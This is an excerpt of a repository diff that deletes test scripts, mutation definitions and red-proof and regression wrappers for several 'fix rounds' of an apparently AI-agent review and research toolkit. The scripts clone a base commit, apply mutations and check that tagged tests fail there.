cat > "$R/tests/$t.test.mjs" <<'EOT'
import { test } from 'node:test';
import { strict as assert } from 'node:assert';
import { parse } from '../src/parser.mjs';
test('parse reads a number', () => { assert.equal(parse('2'), 2); });
EOT
done
# tests_equal <json file> <expected JSON array>: exit 0 when the JSON's tests deep-equals it.
tests_equal() {
node -e '
const assert = require("node:assert");
const fs = require("node:fs");
const r = JSON.parse(fs.readFileSync(process.argv[1], "utf8"));
try { assert.deepStrictEqual(r.tests, JSON.parse(process.argv[2])); } catch (e) { process.exit(1); }
' "$1" "$2"
}
node lib/verification/red-proof.mjs --red-only --cwd "$R" --base HEAD --cmd 'node --test tests/parser.test.mjs' --plan "$TMP/p9.md" --step 1 --json >"$TMP/rp10.json" 2>"$TMP/rp10.err"
rc=$?
[ "$rc" -eq 0 ] || fail "10: red-proof with --plan/--step and no --tests: exit $rc, expected 0: $(cat "$TMP/rp10.json" "$TMP/rp10.err")"
tests_equal "$TMP/rp10.json" '["tests/parser.test.mjs"]' \
|| fail "10: red-proof tests is not [\"tests/parser.test.mjs\"]: $(cat "$TMP/rp10.json")"
out="$(node lib/verification/red-proof.mjs --red-only --cwd "$R" --base HEAD --cmd 'node --test tests/parser.test.mjs' --plan "$TMP/nope.md" --step 1 --json 2>&1)"
rc=$?
[ "$rc" -eq 2 ] || fail "11: red-proof with a plan that does not exist: exit $rc, expected 2: $out"
echo "$out" | grep -q 'plan-unreadable' \
|| fail "11: red-proof with a plan that does not exist: no plan-unreadable in: $out"
out="$(node lib/verification/red-proof.mjs --red-only --cwd "$R" --base HEAD --cmd 'node --test tests/parser.test.mjs' --tests tests/a.test.mjs --plan "$TMP/p9.md" --step 1 2>&1)"
rc=$?
[ "$rc" -eq 2 ] || fail "12: red-proof with a --tests that differs (text): exit $rc, expected 2: $out"
echo "$out" | grep -Fqx ' plan_tests: tests/parser.test.mjs' \
|| fail "12: red-proof with a --tests that differs (text): no line ' plan_tests: tests/parser.test.mjs' in: $out"
node lib/verification/red-proof.mjs --red-only --cwd "$R" --base HEAD --cmd 'node --test tests/a.test.mjs tests/b.test.mjs' --plan "$TMP/p13.md" --step 1 --json >"$TMP/rp13.json" 2>"$TMP/rp13.err"
rc=$?
[ "$rc" -eq 0 ] || fail "13: red-proof on a 1.8 plan with two (new) tests: exit $rc, expected 0: $(cat "$TMP/rp13.json" "$TMP/rp13.err")"
tests_equal "$TMP/rp13.json" '["tests/a.test.mjs","tests/b.test.mjs"]' \
|| fail "13: red-proof tests is not the two test paths in order: $(cat "$TMP/rp13.json")"
# ---- 14. decision 41: a 1.7 plan that names no test file, then --tests ----
out="$(node lib/verification/red-proof.mjs --red-only --cwd "$R" --base HEAD --cmd 'node --test tests/parser.test.mjs' --plan "$TMP/p14.md" --step 1 2>&1)"
rc=$?
[ "$rc" -eq 2 ] || fail "14: red-proof on a 1.7 plan that names no test file: exit $rc, expected 2: $out"
echo "$out" | grep -q 'no test files given' \
|| fail "14: red-proof on a 1.7 plan that names no test file: no 'no test files given' in: $out"
if echo "$out" | grep -Eq '^ tests: [^ ]'; then
fail "14: red-proof on a 1.7 plan that names no test file: a tests line in: $out"
fi
out="$(node lib/verification/red-proof.mjs --red-only --cwd "$R" --base HEAD --cmd 'node --test tests/parser.test.mjs' --plan "$TMP/p14.md" --step 1 --tests tests/parser.test.mjs 2>&1)"
rc=$?
[ "$rc" -eq 0 ] || fail "14: red-proof on a 1.7 plan with --tests the helper wrote: exit $rc, expected 0: $out"
echo "$out" | grep -Fqx ' tests: tests/parser.test.mjs' \
|| fail "14: red-proof on a 1.7 plan with --tests the helper wrote: no line ' tests: tests/parser.test.mjs' in: $out"
echo 'e2e: ok'
exit 0

View file

@ -1,40 +0,0 @@
// tests/fix-round-4-5a-mutations.mjs
// The mutations of fix round 4-5a, for the shared red script
// (tests/helpers/red-round.sh, through tests/helpers/red-mutate.mjs). DJ's
// defect was a missing test: its sentences already stood at ab6b32c, so its
// pins are proven red by deleting the copy-through spans. A deletes the span
// in commands/trekreview.md, B both spans in agents/review-coordinator.md;
// every span must match exactly once. Moved verbatim from the heredoc the
// 4-5a red script used to write. Data only; never matched by `npm test`.
export const MUTATIONS = [
{
key: 'DJ-A',
id: 'DJ',
what: 'the copy-through span in commands/trekreview.md deleted',
spans: [
{
file: 'commands/trekreview.md',
find: /, and pass each reviewer's\s+`### Declined to Judge` lines verbatim from its saved\s+`\{project_dir\}\/\.review-out-\{reviewer\}\.md`: the coordinator copies them into\s+`## Declined to Judge`, so nothing a reviewer set aside disappears\./g,
replace: '.',
},
],
},
{
key: 'DJ-B',
id: 'DJ',
what: 'both spans in agents/review-coordinator.md deleted',
spans: [
{
file: 'agents/review-coordinator.md',
find: /^- \*\*Reviewers' Declined to Judge lines\*\* \u2014 each reviewer's own\s+`### Declined to Judge` list, verbatim\. You copy them into\s+`## Declined to Judge` \(body section 9\); you do not rule on them\.\n/gm,
replace: '',
},
{
file: 'agents/review-coordinator.md',
find: /, then every\s+line a reviewer wrote under its own `### Declined to Judge`, copied as\s+`\{reviewer\}: \{line\}` \(they are not findings: they stay out of the JSON\s+`declined_to_judge` array and do not change the verdict\)/g,
replace: '',
},
],
},
];

View file

@ -1,40 +0,0 @@
#!/usr/bin/env bash
# tests/fix-round-4-5a-red.sh
# The red proof of fix round 4-5a (brief: the last Success Criterion), as a
# wrapper over the shared red script tests/helpers/red-round.sh. Every id of
# the round has tests whose names start with "[id]"; each of them must fail on
# an assertion at the round's start point ab6b32c, or, for DJ, under its
# mutations.
# This wrapper passes the shared script:
# --base BASE, --ids IDS (the round's 30 ids), the round's FILES;
# --other-ids: the ids of fix round 4-5b, read with sed from the IDS= line
# of tests/fix-round-4-5b-red.sh (a tag on that list is not judged);
# --mutations tests/fix-round-4-5a-mutations.mjs: DJ-A deletes the
# copy-through span in commands/trekreview.md, DJ-B both spans in
# agents/review-coordinator.md (DJ's defect is a missing test, its
# sentences exist at ab6b32c, so DJ is a pass-id at the start point).
# The shared script clones the start point outside the repo, puts the working
# tree's tests/ in it, runs every tagged test of the files once, lets
# tests/helpers/red-judge.mjs decide, then applies each mutation, runs DJ's
# tests, judges and restores.
# Exit 0 all red, 1 a rule broken (the judge names it), 2 a setup failure
# (also: no ids on the 4-5b IDS= line); never 0 on a setup failure.
# bash 3.2 compatible, ASCII only, no arrays.
set -u
set -f
cd "$(dirname "$0")/.." || { echo "red script: setup failure: cannot cd to the repo root" >&2; exit 2; }
ROOT="$(pwd -P)"
BASE=ab6b32c9304534b77c7ca2b36e7c993682c9efde
IDS='#52 #47 #48 #46 #2 #26 #33 #1 #30 #28 R6 D67 #15 #12 #66 #102 #57 #67 #113 #111 #24 #23 F9 F4a F4b F4c WF CL ORD DJ'
FILES='tests/lib/fix-round-4-5a-prose.test.mjs tests/lib/verdict-gate.test.mjs tests/lib/park-attempt-files.test.mjs tests/lib/autonomy-gate.test.mjs tests/lib/arg-parser.test.mjs tests/scripts/trekreview-armb-workflow.test.mjs tests/lib/coordinator-contract.test.mjs tests/validators/next-session-prompt-validator.test.mjs'
OTHER=$(sed -n "s/^IDS='\(.*\)'\$/\1/p" "$ROOT/tests/fix-round-4-5b-red.sh")
if [ -z "$OTHER" ]; then
echo "red script: setup failure: no ids on the IDS= line of $ROOT/tests/fix-round-4-5b-red.sh" >&2
exit 2
fi
exec /bin/bash "$ROOT/tests/helpers/red-round.sh" --base "$BASE" --ids "$IDS" --other-ids "$OTHER" --mutations "$ROOT/tests/fix-round-4-5a-mutations.mjs" $FILES

View file

@ -1,261 +0,0 @@
// tests/fix-round-4-5b-mutations.mjs
// The mutations of fix round 4-5b, for the shared red script
// (tests/helpers/red-round.sh, through tests/helpers/red-mutate.mjs). An id
// named here has tests that pass at the round's start point be0b631 (the
// red-proof instruments are this round's own work, and they live in the
// working tree's tests/ that the script copies into the clone); each is
// proven red under its mutation instead. Every span must match exactly once
// in the clone. Data only; never matched by `npm test`. Later steps append
// entries.
export const MUTATIONS = [
{
key: 'E23a',
id: 'E23a',
what: 'the base run selects one --test-name-pattern per round id instead of one ^\\[ pattern',
spans: [
{
file: 'tests/helpers/red-round.sh',
find: String.raw`run_tagged "$TMP/base.jsonl" --test-timeout=300000 --test-force-exit '--test-name-pattern=^\['`,
replace: String.raw`PATS=''
for id in $IDS; do
PATS="$PATS --test-name-pattern=\\[$id\\]"
done
run_tagged "$TMP/base.jsonl" --test-timeout=300000 --test-force-exit $PATS`,
},
],
},
{
key: 'E23b',
id: 'E23b',
what: 'the base run loses its --test-timeout',
spans: [
{
file: 'tests/helpers/red-round.sh',
find: 'run_tagged "$TMP/base.jsonl" --test-timeout=300000',
replace: 'run_tagged "$TMP/base.jsonl"',
},
],
},
{
key: 'RS',
id: 'RS',
what: 'the clone checks out HEAD instead of the base',
spans: [
{
file: 'tests/helpers/red-round.sh',
find: 'checkout --quiet --detach "$BASE"',
replace: 'checkout --quiet --detach HEAD',
},
],
},
{
key: 'E23d',
id: 'E23d',
what: 'the red judge exits 0 on a usage error',
spans: [
{
file: 'tests/helpers/red-judge.mjs',
find: 'process.exit(2);',
replace: 'process.exit(0);',
},
],
},
{
key: 'E23f',
id: 'E23f',
what: 'the red reporter drops the result of a test named [X1] red...',
spans: [
{
file: 'tests/helpers/red-reporter.mjs',
find: 'const d = event.data || {};',
replace: "const d = event.data || {};\n if (String(d.name).startsWith('[X1] red')) continue;",
},
],
},
{
key: 'E20',
id: 'E20',
what: 'untitled findings are placed in arrival order, not in canonical order, in the contract and the workflow',
spans: [
{
file: 'lib/review/coordinator-contract.mjs',
find: 'untitled.sort(canon)',
replace: 'untitled',
},
{
file: 'scripts/trekreview-armB.workflow.mjs',
find: 'untitled.sort(canon)',
replace: 'untitled',
},
],
},
{
key: 'E16a',
id: 'E16a',
what: 'the next-session-prompt validator CLI loses its refusal of a --state-file with no value',
spans: [
{
file: 'lib/validators/next-session-prompt-validator.mjs',
find: String.raw`
if (v === undefined || v.startsWith('--')) {
process.stderr.write('next-session-prompt-validator: --state-file needs a value\n');
process.exit(2);
}`,
replace: '',
},
],
},
{
key: 'E17a',
id: 'E17a',
what: 'the two wave 2 sentences on outbound queries are deleted from /trekresearch',
spans: [
{
file: 'commands/trekresearch.md',
find: `It searches with the words it is given, so no
local file name or project term may be in them. `,
replace: '',
},
{
file: 'commands/trekresearch.md',
find: `When wave 1's external
findings hold no leading answer, say so and give it the research question
alone, stripped the same way. `,
replace: '',
},
],
},
{
key: 'E18a',
id: 'E18a',
what: 'the summary-only triage row of /trekreview gains .claude/rules/**',
spans: [
{
file: 'commands/trekreview.md',
find: '| `summary-only` | `docs/**`, Markdown files at the repo root other than `CLAUDE.md` and `AGENTS.md` (README, CHANGELOG), `tests/fixtures/**`. |',
replace: '| `summary-only` | `docs/**`, Markdown files at the repo root other than `CLAUDE.md` and `AGENTS.md` (README, CHANGELOG), `tests/fixtures/**`, `.claude/rules/**`. |',
},
],
},
{
key: 'Db',
id: 'Db',
what: 'a security-researcher* star is added to the README agent list, outside the diagram line',
spans: [
{
file: 'README.md',
find: '4 external agents (docs-researcher, community-researcher, security-researcher, contrarian-researcher)',
replace: '4 external agents (docs-researcher, community-researcher, security-researcher*, contrarian-researcher)',
},
],
},
{
key: 'M1',
id: 'M1',
what: 'the 13 name sites of the tests f6bdc2d added are put back to their untagged found in execution: names',
spans: [
{
file: 'tests/lib/fix-round-4-5a-prose.test.mjs',
find: '[WF] sibling: ${rel} no longer puts back what the coordinator did not return',
replace: 'found in execution: ${rel} no longer puts back what the coordinator did not return',
},
{
file: 'tests/lib/fix-round-4-5a-prose.test.mjs',
find: '[WF] sibling: ${rel} says a finding is matched to its row',
replace: 'found in execution: ${rel} says a finding is matched to its row',
},
{
file: 'tests/lib/fix-round-4-5a-prose.test.mjs',
find: '[WF] sibling: ${rel} puts back one copy per row',
replace: 'found in execution: ${rel} puts back one copy per row',
},
{
file: 'tests/lib/fix-round-4-5a-prose.test.mjs',
find: "[WF] sibling: ${rel} says floor (b)'s counterpart",
replace: "found in execution: ${rel} says floor (b)'s counterpart",
},
{
file: 'tests/lib/fix-round-4-5a-prose.test.mjs',
find: '[M1r] README.md names no "leading recommendation" trigger',
replace: 'found in execution: README.md names no "leading recommendation" trigger',
},
{
file: 'tests/lib/fix-round-4-5a-prose.test.mjs',
find: '[#113] sibling: README.md stars security-researcher nowhere',
replace: 'found in execution: README.md stars security-researcher nowhere',
},
{
file: 'tests/lib/fix-round-4-5a-prose.test.mjs',
find: '[M1r] README.md lists security-researcher as no conditional agent',
replace: 'found in execution: README.md lists security-researcher as no conditional agent',
},
{
file: 'tests/lib/fix-round-4-5a-prose.test.mjs',
find: '[#113] sibling: README.md names the deep-research case of wave 2',
replace: 'found in execution: README.md names the deep-research case of wave 2',
},
{
file: 'tests/lib/fix-round-4-5a-prose.test.mjs',
find: '[#113] sibling: README.md runs contrarian-researcher after wave 1 returns',
replace: 'found in execution: README.md runs contrarian-researcher after wave 1 returns',
},
{
file: 'tests/lib/fix-round-4-5a-prose.test.mjs',
find: "[#111] sibling: ${rel} item 3 names Pass 3's high-effort skip",
replace: "found in execution: ${rel} item 3 names Pass 3's high-effort skip",
},
{
file: 'tests/lib/fix-round-4-5a-prose.test.mjs',
find: '[#111] sibling: CHANGELOG ### Fixed has the **Across the round** label',
replace: 'found in execution: CHANGELOG ### Fixed has the **Across the round** label',
},
{
file: 'tests/lib/fix-round-4-5a-prose.test.mjs',
find: '[#111] sibling: commands/trekreview.md high-effort section skips Pass 3',
replace: 'found in execution: commands/trekreview.md high-effort section skips Pass 3',
},
{
file: 'tests/lib/fix-round-4-5a-prose.test.mjs',
find: '[#111] sibling: agents/review-orchestrator.md quick mode skips pass 3',
replace: 'found in execution: agents/review-orchestrator.md quick mode skips pass 3',
},
],
},
{
key: 'M1r',
id: 'M1r',
what: 'the README * = conditional line is put back to its 8a2a989 text, which names security-researcher when a leading recommendation forms',
spans: [
{
file: 'README.md',
find: "`* = conditional`: convention-scanner / test-strategist on medium+ codebases (50+ files); research-scout for unknown external tech; contrarian-researcher, when selected, runs in wave 2 after wave 1 returns, with the leading answer of wave 1's external findings to attack (with `--engine deep-research`, after the engine returns, from the leading answer of its report), always at `effort=high`; brief-conformance-reviewer skipped under `--quick`.",
replace: '`* = conditional`: convention-scanner / test-strategist on medium+ codebases (50+ files); research-scout for unknown external tech; security-researcher when a leading recommendation forms (or always at `effort=high`); contrarian-researcher, when selected, runs in wave 2 after the other external agents return, with their leading answer to attack (always at `effort=high`); brief-conformance-reviewer skipped under `--quick`.',
},
],
},
{
key: 'M7r',
id: 'M7r',
what: 'a HEAD read that fails (exit 128, as on an unborn HEAD) counts as in HEAD, so nothing is parked',
spans: [
{
file: 'lib/util/park-attempt-files.mjs',
find: 'return r.status === 0;',
replace: 'return r.status === 0 || r.status === 128;',
},
],
},
{
key: 'DJ4r',
id: 'DJ4r',
what: 'the lesson write returns when the lessons directory is missing, so the first lesson is never written',
spans: [
{
file: 'lib/review/recurrence.mjs',
find: 'mkdirSync(dirname(path), { recursive: true });',
replace: 'if (!existsSync(dirname(path))) return;',
},
],
},
];

View file

@ -1,10 +0,0 @@
// tests/fix-round-4-5b-part-2-mutations.mjs
// The mutations of fix round 4-5b, part 2, for the shared red script
// (tests/helpers/red-round.sh, through tests/helpers/red-mutate.mjs). The
// round has none: every part-2 id (TOK, HDG, CKI, DLC, KI) has tests that fail
// on an assertion at the round's start point 52c382c, on that id's own code or
// text, so no id needs a mutation to be proven red. red-mutate.mjs list
// accepts the empty array, and the red script then reports 0 mutation(s).
// Data only; never matched by `npm test`.
export const MUTATIONS = [];

View file

@ -1,44 +0,0 @@
#!/usr/bin/env bash
# tests/fix-round-4-5b-part-2-red.sh
# The red proof of fix round 4-5b, part 2 (plan
# .claude/projects/2026-10-27-fix-round-4-5b-part-2, decision 88), as a
# wrapper over the shared red script tests/helpers/red-round.sh. Every id of
# the round has tests whose names start with "[id]"; each of them must fail
# on an assertion at the round's start point 52c382c.
# This wrapper passes the shared script:
# --base BASE, --ids IDS (the round's 5 ids), the round's FILES;
# --other-ids: the ids of fix round 4-5a and of 4-5b part 1, read with sed
# from the IDS= lines of tests/fix-round-4-5a-red.sh and
# tests/fix-round-4-5b-red.sh and passed as ONE value, 4-5a's first (the
# shared script keeps only the last --other-ids it is given); a tag on
# that list is not judged, so the [ARG] tests in bash-guard.test.mjs are
# left to part 1;
# --mutations tests/fix-round-4-5b-part-2-mutations.mjs (empty: every id is
# red at the start point on its own code).
# No --require-sha256: the round has no SHA-256 test.
# Exit 0 all red, 1 a rule broken (the judge names it), 2 a setup failure
# (also: no ids on either older IDS= line); never 0 on a setup failure.
# bash 3.2 compatible, ASCII only, no arrays.
set -u
set -f
cd "$(dirname "$0")/.." || { echo "red script: setup failure: cannot cd to the repo root" >&2; exit 2; }
ROOT="$(pwd -P)"
BASE=52c382c19885819d747bbcb23a34ae2015470f97
IDS='TOK HDG CKI DLC KI'
FILES='tests/lib/arg-parser-tokenize.test.mjs tests/hooks/bash-guard.test.mjs tests/lib/review-recurrence-check-ignore.test.mjs tests/lib/fix-round-4-5b-part-2-prose.test.mjs'
OTHER_A=$(sed -n "s/^IDS='\(.*\)'\$/\1/p" "$ROOT/tests/fix-round-4-5a-red.sh")
if [ -z "$OTHER_A" ]; then
echo "red script: setup failure: no ids on the IDS= line of $ROOT/tests/fix-round-4-5a-red.sh" >&2
exit 2
fi
OTHER_B=$(sed -n "s/^IDS='\(.*\)'\$/\1/p" "$ROOT/tests/fix-round-4-5b-red.sh")
if [ -z "$OTHER_B" ]; then
echo "red script: setup failure: no ids on the IDS= line of $ROOT/tests/fix-round-4-5b-red.sh" >&2
exit 2
fi
exec /bin/bash "$ROOT/tests/helpers/red-round.sh" --base "$BASE" --ids "$IDS" --other-ids "$OTHER_A $OTHER_B" --mutations "$ROOT/tests/fix-round-4-5b-part-2-mutations.mjs" $FILES

View file

@ -1,35 +0,0 @@
#!/usr/bin/env bash
# tests/fix-round-4-5b-part-2-regression.sh
# The Regression: of fix round 4-5b, part 2 (decision 88): the whole suite
# (npm test), part 1's end to end (tests/e2e-fix-round-4-5b.sh, which drives
# the arg parser and `recurrence.mjs apply`, both changed by part 2) and
# part 2's red proof (tests/fix-round-4-5b-part-2-red.sh). The 4-5a and
# part-1 red proofs are not run here: part 1's alone re-runs its base and its
# mutations, and one Regression command has the criteria runner's 15-minute
# cap; they run as their own Verification lines. All three run; the script
# prints each exit and exits with the first non-zero status, or 0 when all
# three exit 0.
# bash 3.2 compatible, ASCII only, no arrays.
set -u
cd "$(dirname "$0")/.." || { echo "regression: cannot cd to the repo root" >&2; exit 2; }
FIRST=0
npm test
rc=$?
echo "regression: npm test exited $rc"
[ "$FIRST" -eq 0 ] && FIRST=$rc
/bin/bash tests/e2e-fix-round-4-5b.sh
rc=$?
echo "regression: tests/e2e-fix-round-4-5b.sh exited $rc"
[ "$FIRST" -eq 0 ] && FIRST=$rc
/bin/bash tests/fix-round-4-5b-part-2-red.sh
rc=$?
echo "regression: tests/fix-round-4-5b-part-2-red.sh exited $rc"
[ "$FIRST" -eq 0 ] && FIRST=$rc
exit "$FIRST"

View file

@ -1,10 +0,0 @@
// tests/fix-round-4-5b-part-3-mutations.mjs
// The mutations of fix round 4-5b, part 3, for the shared red script
// (tests/helpers/red-round.sh, through tests/helpers/red-mutate.mjs). The
// round has none: every part-3 id (CQW, PQO, KI3) has tests that fail on an
// assertion at the round's start point ce98f62, on that id's own code or
// text, so no id needs a mutation to be proven red. red-mutate.mjs list
// accepts the empty array, and the red script then reports 0 mutation(s).
// Data only; never matched by `npm test`.
export const MUTATIONS = [];

View file

@ -1,49 +0,0 @@
#!/usr/bin/env bash
# tests/fix-round-4-5b-part-3-red.sh
# The red proof of fix round 4-5b, part 3 (plan
# .claude/projects/2026-10-28-fix-round-4-5b-part-3), as a wrapper over the
# shared red script tests/helpers/red-round.sh. Every id of the round has
# tests whose names start with "[id]"; each of them must fail on an assertion
# at the round's start point ce98f62.
# This wrapper passes the shared script:
# --base BASE, --ids IDS (the round's 3 ids), the round's FILES;
# --other-ids: the ids of fix round 4-5a, of 4-5b part 1 and of 4-5b
# part 2, read with sed from the IDS= lines of tests/fix-round-4-5a-red.sh,
# tests/fix-round-4-5b-red.sh and tests/fix-round-4-5b-part-2-red.sh and
# passed as ONE value, in that order (the shared script keeps only the
# last --other-ids it is given); a tag on that list is not judged;
# --mutations tests/fix-round-4-5b-part-3-mutations.mjs (empty: every id is
# red at the start point on its own code or text).
# No --require-sha256: the round has no SHA-256 test.
# Exit 0 all red, 1 a rule broken (the judge names it), 2 a setup failure
# (also: no ids on one of the three older IDS= lines); never 0 on a setup
# failure.
# bash 3.2 compatible, ASCII only, no arrays.
set -u
set -f
cd "$(dirname "$0")/.." || { echo "red script: setup failure: cannot cd to the repo root" >&2; exit 2; }
ROOT="$(pwd -P)"
BASE=ce98f62e82af1e2c5c33cbe63808b7ec52cac000
IDS='CQW PQO KI3'
FILES='tests/lib/arg-parser-closing-quote.test.mjs tests/hooks/bash-guard-opener-word.test.mjs tests/lib/fix-round-4-5b-part-3-prose.test.mjs'
OTHER_A=$(sed -n "s/^IDS='\(.*\)'\$/\1/p" "$ROOT/tests/fix-round-4-5a-red.sh")
if [ -z "$OTHER_A" ]; then
echo "red script: setup failure: no ids on the IDS= line of $ROOT/tests/fix-round-4-5a-red.sh" >&2
exit 2
fi
OTHER_B=$(sed -n "s/^IDS='\(.*\)'\$/\1/p" "$ROOT/tests/fix-round-4-5b-red.sh")
if [ -z "$OTHER_B" ]; then
echo "red script: setup failure: no ids on the IDS= line of $ROOT/tests/fix-round-4-5b-red.sh" >&2
exit 2
fi
OTHER_C=$(sed -n "s/^IDS='\(.*\)'\$/\1/p" "$ROOT/tests/fix-round-4-5b-part-2-red.sh")
if [ -z "$OTHER_C" ]; then
echo "red script: setup failure: no ids on the IDS= line of $ROOT/tests/fix-round-4-5b-part-2-red.sh" >&2
exit 2
fi
exec /bin/bash "$ROOT/tests/helpers/red-round.sh" --base "$BASE" --ids "$IDS" --other-ids "$OTHER_A $OTHER_B $OTHER_C" --mutations "$ROOT/tests/fix-round-4-5b-part-3-mutations.mjs" $FILES

View file

@ -1,40 +0,0 @@
#!/usr/bin/env bash
# tests/fix-round-4-5b-part-3-regression.sh
# The Regression: of fix round 4-5b, part 3: the whole suite (npm test),
# part 2's end to end (tests/e2e-fix-round-4-5b-part-2.sh, which drives the
# arg parser and the args-heredoc guard, both changed by part 3), part 1's
# end to end (tests/e2e-fix-round-4-5b.sh, which drives the arg parser) and
# part 3's red proof (tests/fix-round-4-5b-part-3-red.sh). The 4-5a, part-1
# and part-2 red proofs are not run here: one Regression command has the
# criteria runner's 15-minute cap; they run as their own Verification lines.
# All four run; the script prints each exit and exits with the first non-zero
# status, or 0 when all four exit 0.
# bash 3.2 compatible, ASCII only, no arrays.
set -u
cd "$(dirname "$0")/.." || { echo "regression: cannot cd to the repo root" >&2; exit 2; }
FIRST=0
npm test
rc=$?
echo "regression: npm test exited $rc"
[ "$FIRST" -eq 0 ] && FIRST=$rc
/bin/bash tests/e2e-fix-round-4-5b-part-2.sh
rc=$?
echo "regression: tests/e2e-fix-round-4-5b-part-2.sh exited $rc"
[ "$FIRST" -eq 0 ] && FIRST=$rc
/bin/bash tests/e2e-fix-round-4-5b.sh
rc=$?
echo "regression: tests/e2e-fix-round-4-5b.sh exited $rc"
[ "$FIRST" -eq 0 ] && FIRST=$rc
/bin/bash tests/fix-round-4-5b-part-3-red.sh
rc=$?
echo "regression: tests/fix-round-4-5b-part-3-red.sh exited $rc"
[ "$FIRST" -eq 0 ] && FIRST=$rc
exit "$FIRST"

View file

@ -1,52 +0,0 @@
// tests/fix-round-4-5b-part-4-mutations.mjs
// The mutations of fix round 4-5b, part 4 (decision 90), for the shared red
// script (tests/helpers/red-round.sh, through tests/helpers/red-mutate.mjs).
// An id named here has tests that pass at the round's start point 591f3c4 and
// is proven red under its mutations instead:
// - CTB: the catch of the shell reading already blocks at 591f3c4 (the
// round adds only its test, through a preload); the mutation makes the
// catch let the command through, in 591f3c4's hook.
// - NVR: the [TOK] title and part 2's case name are already reworded in the
// working tree's tests/ that the script copies into the clone; each
// mutation puts the old "never" wording back into one of the two files.
// Every span must match exactly once in the clone (591f3c4's code with the
// working tree's tests/). Data only; never matched by `npm test`.
export const MUTATIONS = [
{
key: 'CTB-catch',
id: 'CTB',
what: 'the catch of the shell reading lets the command through',
spans: [
{
file: 'hooks/scripts/pre-bash-executor.mjs',
find: 'blockArgs(true, true);',
replace: 'void 0;',
},
],
},
{
key: 'NVR-title',
id: 'NVR',
what: 'the [TOK] title claims never again',
spans: [
{
file: 'tests/lib/arg-parser-tokenize.test.mjs',
find: '[TOK] a quoted value stops at a quote that starts a word, and',
replace: '[TOK] a quoted value never swallows a later flag, and',
},
],
},
{
key: 'NVR-e2e',
id: 'NVR',
what: "part 2's case name claims never again",
spans: [
{
file: 'tests/e2e-fix-round-4-5b-part-2.sh',
find: "a quoted value stops at the quote that starts --since's value",
replace: 'a quoted value never swallows --since',
},
],
},
];

View file

@ -1,57 +0,0 @@
#!/usr/bin/env bash
# tests/fix-round-4-5b-part-4-red.sh
# The red proof of fix round 4-5b, part 4 (plan
# .claude/projects/2026-10-31-fix-round-4-5b-part-4, decision 90), as a
# wrapper over the shared red script tests/helpers/red-round.sh. Every id of
# the round has tests whose names start with "[id]"; CSG, SLT, ESC and KI4
# must each fail on an assertion at the round's start point 591f3c4, and CTB
# and NVR, whose tests pass there, are proven red under their mutations.
# This wrapper passes the shared script:
# --base BASE, --ids IDS (the round's 6 ids), the round's FILES (the
# three tagged test files; the untagged reader pins stay out);
# --other-ids: the ids of fix round 4-5a, of 4-5b part 1, of part 2 and of
# part 3, read with sed from the IDS= lines of tests/fix-round-4-5a-red.sh,
# tests/fix-round-4-5b-red.sh, tests/fix-round-4-5b-part-2-red.sh and
# tests/fix-round-4-5b-part-3-red.sh and passed as ONE value, in that
# order (the shared script keeps only the last --other-ids it is given);
# a tag on that list is not judged;
# --mutations tests/fix-round-4-5b-part-4-mutations.mjs (CTB-catch,
# NVR-title, NVR-e2e).
# No --require-sha256: the round has no SHA-256 test.
# Exit 0 all red, 1 a rule broken (the judge names it), 2 a setup failure
# (also: no ids on one of the four older IDS= lines); never 0 on a setup
# failure.
# bash 3.2 compatible, ASCII only, no arrays.
set -u
set -f
cd "$(dirname "$0")/.." || { echo "red script: setup failure: cannot cd to the repo root" >&2; exit 2; }
ROOT="$(pwd -P)"
BASE=591f3c4793c751ae3c12fae403b9735341cd7591
IDS='CSG SLT ESC CTB KI4 NVR'
FILES='tests/hooks/bash-guard-args-gate.test.mjs tests/hooks/bash-guard-false-stops.test.mjs tests/lib/fix-round-4-5b-part-4-prose.test.mjs'
OTHER_A=$(sed -n "s/^IDS='\(.*\)'\$/\1/p" "$ROOT/tests/fix-round-4-5a-red.sh")
if [ -z "$OTHER_A" ]; then
echo "red script: setup failure: no ids on the IDS= line of $ROOT/tests/fix-round-4-5a-red.sh" >&2
exit 2
fi
OTHER_B=$(sed -n "s/^IDS='\(.*\)'\$/\1/p" "$ROOT/tests/fix-round-4-5b-red.sh")
if [ -z "$OTHER_B" ]; then
echo "red script: setup failure: no ids on the IDS= line of $ROOT/tests/fix-round-4-5b-red.sh" >&2
exit 2
fi
OTHER_C=$(sed -n "s/^IDS='\(.*\)'\$/\1/p" "$ROOT/tests/fix-round-4-5b-part-2-red.sh")
if [ -z "$OTHER_C" ]; then
echo "red script: setup failure: no ids on the IDS= line of $ROOT/tests/fix-round-4-5b-part-2-red.sh" >&2
exit 2
fi
OTHER_D=$(sed -n "s/^IDS='\(.*\)'\$/\1/p" "$ROOT/tests/fix-round-4-5b-part-3-red.sh")
if [ -z "$OTHER_D" ]; then
echo "red script: setup failure: no ids on the IDS= line of $ROOT/tests/fix-round-4-5b-part-3-red.sh" >&2
exit 2
fi
exec /bin/bash "$ROOT/tests/helpers/red-round.sh" --base "$BASE" --ids "$IDS" --other-ids "$OTHER_A $OTHER_B $OTHER_C $OTHER_D" --mutations "$ROOT/tests/fix-round-4-5b-part-4-mutations.mjs" $FILES

View file

@ -1,51 +0,0 @@
#!/usr/bin/env bash
# tests/fix-round-4-5b-part-4-regression.sh
# The Regression: of fix round 4-5b, part 4 (decision 90): the whole suite
# (npm test), part 4's end to end (tests/e2e-fix-round-4-5b-part-4.sh),
# part 3's (tests/e2e-fix-round-4-5b-part-3.sh), part 2's
# (tests/e2e-fix-round-4-5b-part-2.sh), part 1's (tests/e2e-fix-round-4-5b.sh)
# and part 4's red proof (tests/fix-round-4-5b-part-4-red.sh). The 4-5a,
# part-1, part-2 and part-3 red proofs are not run here: one Regression
# command has the criteria runner's 15-minute cap; they run as their own
# Verification lines.
# All six run, in that order; the script prints each exit and exits with the
# first non-zero status, or 0 when all six exit 0.
# bash 3.2 compatible, ASCII only, no arrays.
set -u
cd "$(dirname "$0")/.." || { echo "regression: cannot cd to the repo root" >&2; exit 2; }
FIRST=0
npm test
rc=$?
echo "regression: npm test exited $rc"
[ "$FIRST" -eq 0 ] && FIRST=$rc
/bin/bash tests/e2e-fix-round-4-5b-part-4.sh
rc=$?
echo "regression: tests/e2e-fix-round-4-5b-part-4.sh exited $rc"
[ "$FIRST" -eq 0 ] && FIRST=$rc
/bin/bash tests/e2e-fix-round-4-5b-part-3.sh
rc=$?
echo "regression: tests/e2e-fix-round-4-5b-part-3.sh exited $rc"
[ "$FIRST" -eq 0 ] && FIRST=$rc
/bin/bash tests/e2e-fix-round-4-5b-part-2.sh
rc=$?
echo "regression: tests/e2e-fix-round-4-5b-part-2.sh exited $rc"
